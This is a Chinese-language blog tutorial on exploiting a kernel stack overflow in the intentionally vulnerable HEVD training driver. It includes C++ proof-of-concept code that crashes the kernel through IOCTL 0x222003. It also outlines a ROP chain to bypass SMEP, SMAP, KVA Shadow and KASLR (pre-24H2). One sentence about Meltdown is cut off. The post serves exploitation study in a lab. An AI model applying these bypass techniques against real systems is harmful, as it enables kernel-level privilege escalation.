Post

Windows 核心漏洞利用系列 / 0x01 - Kernel Stack Based Buffer Overflow

Kernel Stack Based Overflow - Windows 23H2 HEVD

Windows 核心漏洞利用系列 / 0x01 - Kernel Stack Based Buffer Overflow

在 Windows Kernel Exploitation 的領域中一定有聽過 HEVD 這套環境,在 HEVD 中擁有多種不同的 Kernel 漏洞來讓對 Kernel Exploitation 有興趣的人練習,我個人覺得是一個非常好的練習環境,本篇主要透過 Kernel Stack Overflow 來實現 EoP

從地表走向深淵的旅程 - 分析 Kernel Driver

觸摸深淵的第一步 - 建立 Driver Handle

為了要與 Kernel Driver 進行交互,在一開始我們必須先使用 CreateFileA 獲取對 Kernel Driver 的 Handle,有了 Handle 以後接下來才能 call Driver 裡面的 routine。

1
2
3
4
5
6
7
8
9
HANDLE CreateFileA(
  [in]           LPCSTR                lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);
  • lpFileName - 需要放入 Kernel Driver 的 Symbolic Link
  • dwDesiredAccess - 通常塞 GENERIC_READGENERIC_WRITE
  • dwShareMode - 通常塞 FILE_SHARE_READFILE_SHARE_WRITE
  • lpSecurityAttributes - 我都塞 NULL
  • dwCreationDisposition - 這裡要放 OPEN_EXISTING
  • dwFlagsAndAttributes - 要放 FILE_FLAG_OVERLAPPEDFILE_ATTRIBUTE_NORMAL
  • hTemplateFile - 我放 NULL

使用 CreateFileA 拿到 Driver Handle 以後就能使用 IOCTL 對 Kernel Driver 進行交互了,但前提是我們知道 Kernel Driver 的 Device Name 是什麼。

為了找到 Device Name 可以直接拿 IDA 去拆了 HEVD.sys,往 Device Entry 裡面一看就能找到 Device Name 了

Device Name Device Name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <iostream>
#include <Windows.h>
using namespace std;

HANDLE getKernelHandle() {
	HANDLE handle = CreateFileA(
		"\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,            
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,                    
		OPEN_EXISTING,           
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,   
		NULL);                   
	return handle;
}

int main() {
	
	cout << "[+] HEVD Kernel Exploit by Red Meow" << endl;
	
	HANDLE handle = getKernelHandle();

	cout << "[+] Get HEVD Driver Handle : " << hex << handle << endl;

	return 0;
}

Compile 完上面的 PoC 以後就能直接放到 Windows Lab 上,理論上就能順利取得 Driver Handle 了。

Device Name Device Name

撕裂虛空中的洞口 - 識別漏洞

挖洞最快的方式一定是直接做 Code Review,到 HEVD GitHub 上的 BufferOverflowStack.c1 可以明確看到有一條 RtlCopyMemory ,並且在複製 Buffer 的時候沒有限制長度,對於 Pwn 仔來說不用想就知道這邊有 Stack Overflow

1
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

往上追可以找到這個 API 是在一個叫 TriggerBufferOverflow 的 function 內用到的,並且會引入兩個參數,分別是 User Mode 傳入的 Buffer 和這塊 Buffer 的 Size

1
2
3
4
TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)

繼續往下追可以發現他是一個叫做 BufferOverflowStackIoctlHandler 的 function,到了這邊基本上就已經摸到 Windows Kernel 的邊緣了,在接下來我們的目標就是要把我們的輸入透過 DeviceIoControl 來從 Ring 3 送到 Ring 0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
NTSTATUS
BufferOverflowStackIoctlHandler(
    _In_ PIRP Irp,
    _In_ PIO_STACK_LOCATION IrpSp
)
{
    ...
    UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
    Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;

    if (UserBuffer)
    {
        Status = TriggerBufferOverflowStack(UserBuffer, Size);
    }
    ...
}

對深淵發起的第一次進攻 - 摧毀 Windows 核心執行流

既然已經找到了漏洞的所在位置,那接下來我們就可以開始嘗試將我們的輸出重新導向到有漏洞的位置,往回追一下執行流可以找到在 IOCTL 0x222003 的地方會 call BufferOverflowStackIoctlHandle,如果我們送入一塊大小是 0x100 的 buffer 會發生什麼事,我們接下來就可以來試試看

IOCTL IOCTL

如果要打開 HEVD 的 Debug Message 的話可以在 WinDbg 上面打這行 ed nt!Kd_IHVDRIVER_Mask 8

TD Test Drive

在第一次的 Test Drive 中可以看到 WinDbg 輸出了一些東西,包括 User-Mode 的 Address 和 Kernel-Mode 的 Address,以及我們送進的 Size,但可以發現的是下面出現了 Kernel Buffer Size 為 0x800,這是不是代表如果 Payload 複製進去大於 0x800 的話就能造成 Stack Overflow ?

抱著這個疑問可以開始進行下一步實驗,設定 0x900 的 Payload 大小,並且把 Buffer 前 0x800 Byte 設為 “A”,最後 0x100 設為 “B”。

Triiger the Vulnerablility

正如我們所料,把 Payload Size 拉到 0x900 以後造成了 Kernel Access Violation,並且 RSP 底下的 Stack Layout 位於 0x800 以下的位界中,接下來只要知道正確的 offset 就能成功控到 RIP 了,而我們也成功透過有效的攻擊取得一個 Denial of Service 的 PoC。

BSOD

確認 WinDbg,RIP 被成功蓋成非預期的 Address,Kernel RIP 已經順利被我們控制了,接著繼續執行就能成功摧毀 Windows Kernel 的運作並且讓電腦進入 BSOD :)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <iostream>
#include <Windows.h>
using namespace std;

DWORD64 IOCTL = 0x222003;
DWORD64 payloadSize = 0x900;

HANDLE getKernelHandle() {
	HANDLE handle = CreateFileA(
		"\\\\.\\HackSysExtremeVulnerableDriver",
		GENERIC_READ | GENERIC_WRITE,            
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,                    
		OPEN_EXISTING,           
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,   
		NULL);                   
	return handle;
}

int main() {
	
	cout << "[+] HEVD Kernel Exploit by Red Meow" << endl;
	
	HANDLE handle = getKernelHandle();

	cout << "[+] Get HEVD Driver Handle : " << hex << handle << endl;

	LPVOID payload = (LPVOID)malloc(payloadSize);
	memset(payload, 'A', payloadSize);
	memset((LPVOID)((DWORD64)payload + 0x800), 'B', 0x100);

	cout << "[+] Sending payload to HEVD Driver..." << endl;
	cout << "[+] Payload Address : " << payload << endl;
	cout << "[+] Payload Size : 0x" << payloadSize << " bytes" << endl;

	DeviceIoControl(handle, IOCTL, payload, payloadSize, NULL, NULL, NULL, NULL);

	cout << "[+] Payload sent successfully!" << endl;

	return 0;
}

來自異界的流體湧入 - Liquid Influx

將 Windows 核心的力量為自己所用 - 武器化漏洞利用

我們透過前面的研究已經找到了 Kernel Stack Overflow 的位置了,我們可以透過構造一塊超肥的 Buffer 來進行 Denial of Service,但…..身為一名駭客,對於把目標打掛這件事情基本上對紅隊行動來說完全沒有戰略價值,而且只做到 DoS 未免也太小丑了吧,我們來上升一點難度 ;)

通常到了這步我們會有兩個選擇

  1. Execute Shellcode
  2. Data Only Attack

第一個選項能夠給我們一個很寬廣的利用面,攻擊者能透過 Execute Shellcode 來控制 Windows Kernel 執行任何攻擊者想執行的 code,不過相對而來的是 Windows 11 的防禦緩解措施。Microsoft 對於 Code Execution 這件事情頗爲敏感,因此對於 Execution Flow 的管控也非常嚴格,由於 SMEP、SMAP、NX 以及 KVA Shadow 的關係,如果我們決定要進行 Code Execution 的話可能有點難度,但因為目前漏洞造成的攻擊面僅能讓我們控制 RIP,因此也只能選擇 Code Execution 這條路了。

回到 User-Mode 的層面,在沒有任何 Mitigation 的情況下,根據以往的經驗我們通常會 Allocate 一塊權限是 PAGE_EXECUTE_READWRITE 的記憶體然後把執行流重新導向到那塊 Buffer 上,在這塊 Buffer 我們可以任意 call Win32 API 做到任何我們想做的事,同樣的在 Kernel-Mode 底下我們也能做到相同的事情,但我們會碰到幾個 Mitigation 來嘗試防止我們的攻擊,至於會碰到什麼樣的 Mitigation 我們接下來會慢慢介紹到。 但,先讓我們假裝對這些 Mitigation 一無所知 :)

返回地表的領土 - Ring 0 Callback to Ring 3

眾所皆知,讓 shellcode 被執行最樸實無華的做法就是讓 RIP 指向到 shellcode buffer 上,我們現在已經控制了 RIP,那就代表我們已經有能力控制執行流了,這邊最簡單的方法就是在 Ring 3 建立一個 shellcode buffer,再把 RIP 指向到那塊 buffer 上,聽起來很簡單,我們直接來實作一次。

1
2
LPVOID shellcode = (LPVOID)VirtualAlloc(NULL, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memset(shellcode, 0x90, 0x100); // NOP sled

理論上的 Layout 應該會長的像這樣,攻擊者透過 Overflow 並把 shellcode address provide 給 RIP,接著 Kernel 執行流會被導向至 User Mode 的 shellcode 上,就理論上來講這樣的攻擊是有效且可靠的。

Memory Layout

但實際上做了這件事情將會導致 Access Violation 的發生。

SMAP & SMEP & KVA Shadow

直接把 RIP control 導向到 shellcodeBuf 上,觸發 Overflow 後又成功讓系統 BSOD 一次,而這就是 SMEP 和 SMAP 以及 KVA Shadow 在做事的證明 :)

突破核心防御的邊界 - SMEP / SMAP / KVA Shadow

通常在核心層做利用的時候要考慮到 Microsoft 在核心層實作了一些防禦機制來避免攻擊,SMEP 和 SMAP 是 Microsoft 針對 Windows Kernel 設計的 Mitigation,用來防止當執行流在 Ring 0 的時候存取 / 執行位於 Ring 3 記憶體區域的任何東西,因此我們必須想辦法繞過這兩個 Mitigation,有幾種不同的方式可以達成這件事情,包括修改 CR4 Register 的特定 Bit 來繞過 SMEP 和 SMAP,修改 PxE 相關的特定 Bit 來使得 Kernel 能夠在 Ring 3 執行任意 Code,但除此之外我們還需要注意 KVA Shadow。

而其中有一個著名的漏洞 Meltdown 利用了 Processor 的

在 KVA Shadow Enable 的情況下,由於 PML4E 的 EXB 被設置的關係所以在 User-Mode 的記憶體區域進行任何執行的行為,在這種情況下就算將 CR4 Register 中 SMEP 和 SMAP 的 enable bit 改成 0 也還是會遇到 Access Violation 的問題,對於這個防禦緩解措施我們有一種方式能繞過,只要能在Ring 0 底下分配一塊擁有執行權限的記憶體,基本上就能一次繞過三個防禦緩解措施,而不用特別去更改 CR4 Register 的值。

KVA Shadow 會透過設定 Page NX Bit 的方式來阻止 Kernel 執行任何 User-Mode 的記憶體區段,就算在 SMEP 和 SMAP 被 Bypass 的情況下我們還是無法在 Ring 3 區域執行任意指令。

SMAP & SMEP in CR4 Register

在正常情況下,CR4 Register 會儲存目前 SMAP、SMEP 的 Status,若該 Bit 為 1 則代表 Mitigation 是 Enable 的情況,而 KVA Shadow 則是透過儲存在每個 Page Table 的最後一個 Bit 來判斷當前 Page 是不是 Executable 的,如果要繞過這三個 Mitigation 的話有幾種方法:

  1. Data Only Attack
  2. shellcode
  3. Kernel ROP

對於第一個選項 DOA 的話只要能找到會寫回 CR4 的 Code 並嘗試去 Patch 要被改上去的值,這對於我們目前攻擊面的可行性來說幾乎不可能。

第二個選項是 shellcode,可以透過 shellcode 或是模擬 shellcode 的行為來修改 CR4 Register 的值,但我們現在就是為了執行 shellcode 而來,或許我們可以想的更深一點,我們應該要把 shellcode 放在哪裡跑才是正確的?

為了應對這種情況,或許我們可以換條思路,為什麼我們不直接在 Kernel 裡面申請一塊合法的記憶體位置呢?

根據 Microsoft 的 Document 中可以發現 ExAllocatePoolWithTag 可以在 Ring 0 中 Allocate 一塊 Kernel Pool 出來,如果我們能透過第三種方法,利用 Kernel ROP 來 Invoke 這個 Win32 API,並且將 shellcode 複製上去執行,我們就能一次性繞過三個不同的 Mitigation,我們既沒觸發 Ring 0 Access Ring 3 的 Data,也沒有觸發 Ring 0 Execute Ring 3 的規則,但與此同時還有一個需要解決的 Mitigation。

KASLR - Kernel Address Layout Rand

不管怎麼說,KASLR 一定是我們必須要先處理的部分,KASLR 的運作原理和 Ring 3 的 ASLR 基本上一模一樣,繞過的手法也可以說是一模一樣,在 Windows 24H2 以前 KASLR 基本上算是一個毫無威脅的 Mitigation,但在 Window 24H2 更新以後 KASLR 變成了提升權限的一大難題,儘管 exploitforsale 發現了可以透過 Cache Missing 的方式來取得 Kernel Base 的方式,但在 VM 環境下還是無法進行穩定的利用,而這篇 Blog 主要會介紹 24H2 以前版本的 Kernel Leak 手法。

1
2
3
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);

基本上在 24H2 以前的 Windows 架構下只要有 Medium Integrity 就等於 KASLR Bypass,但這個問題在 24H2 被緩解了。

KASLR Bypass

在以往的 Windows 版本中,Medium Integrity 的使用者可以透過 NtQuerySystemInformation 和 EnumDeviceDirevers 的方式來獲取 Kernel Base,但是在 24H2 更新以後微軟重新定義了安全邊界,現在只有擁有 SeDebugPrivilege 的實體可以利用以上兩個 Win32 API 獲取 Kernel Base,而我們需要 Kernel Exploit 的原因之一是因為我們需要從 Medium Integrity 的權限提升到 SYSTEM,這個 Mitigation 為我們關上了一條通往 SYSTEM 權限的大門。

在 2025 的現代有 Security Researcher 透過了 CPU 的缺陷解決了在 Windows 24H2 上進行 Kernel Leak 的問題,但截至 2025 的 6 月為止目前還無法在 Virtual Environment 裡面成功運行,不過這超出了本章節的範圍,所以不會在這邊過多解釋。

ExAllocatePoolWithTag

根據 Allocating System-Space Memory2 這篇 Document 有提到可以使用 ExAllocatePoolWithTag 這個 Kernel API 在 Ring 0 中 Allocate 一塊記憶體出來,並且根據不同的 PoolType 會有不同的 rwx 權限

Function Prototype 如下

1
2
3
4
5
PVOID ExAllocatePoolWithTag(
  [in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
  [in] SIZE_T                                         NumberOfBytes,
  [in] ULONG                                          Tag
);
  • PoolType - Allocate 的 Pool Type
  • NumberOfBytes - Allocate 的 Size
  • Tag - 標記這個 Kernel Pool 的 Tag

這個 Kernel API 總共使用到了三個 Argument,並且會 return 已經 Allocate 好的 Kernel Pool Pointer

PoolType 代表的是 Allocate 下去的 Kernel Pool 是哪種,根據 POOL_TYPE Enumeration 這篇文章可以發現 NonPagedPool 明確被標示是可以被執行的

NumberOfBytes 代表要 Allocate 的大小是多少

Tag 可以忽略,因為我們不會用到

其實到這邊基本上就可以知道這個 Kernel API 非常好 call 了,我們只要使用 Kernel ROP 疊出 RCX = 0, RDX = 0x100 之類的值,接著再 call ExAllocatePoolWithTag 就能順利 Allocate 好一塊 Kernel Pool 了,比想像中的簡單對吧

RtlCopyMemoryNonTemporal

既然已經把我們的 shellcode 安置的地方放好了,那接下來我們就可以把位於 User-Mode 記憶體空間的 Kernel shellcode 複製到 Ring 0 準備執行 :)

在 Kernel 中有一個 API 叫做 RtlCopyMemoryNonTemporal,很幸運的我們能可以在官方文件上找到關於它的描述

1
2
3
4
5
NTSYSAPI VOID RtlCopyMemoryNonTemporal(
  VOID       *Destination,
  const VOID *Source,
  SIZE_T     Length
);

基本上和 memcpy 幾乎一模一樣

  • Destination 是 Destination 的 Pointer
  • Source 是 Source 的 Pointer
  • Length 是要複製的大小

直接用 Kernel ROP 把剛剛 RAX 的值放進 RCX,把 RDX 設定為 Ring 3 shellcode 的位置,再把 0x100 彈到 R8 內初始的參數就設定完成,接下來只要 call RtlCopyMemoryNonTermporal 就能順利把 shellcode 從 Ring 3 複製到 Ring 0,最後再把 Ring 0 shellcode 的位置放進下一行 ROP 裡面就能直接跳到 Ring 0 的 shellcode 上執行了,什麼你說你忘記 Ring 0 的 shellcode 位置在哪,那就放到除了 RCX RDX R8 R9 加上 RAX R10 R11 以外的 Register,在 Windows x64 Calling Convention 的 Document 中明確寫著這四個 Register 是 Volatile 的,只要使用這幾個 Register 就能保證我們在 call Kernel API 的時候不會意外把需要的值 Overwrite 掉。

1
2
3
4
5
mov rcx, rax
pop rdx
shellcode src
pop r8
0x100

看完上面以後應該能大概理解這個技術,就只是很簡單 Allocate 一塊 Kernel Pool 再從 Ring 3 把 shellcode 複製到 Ring 0,實現並不難,而且效果其實意外的非常不錯。

This post is licensed under CC BY 4.0 by the author.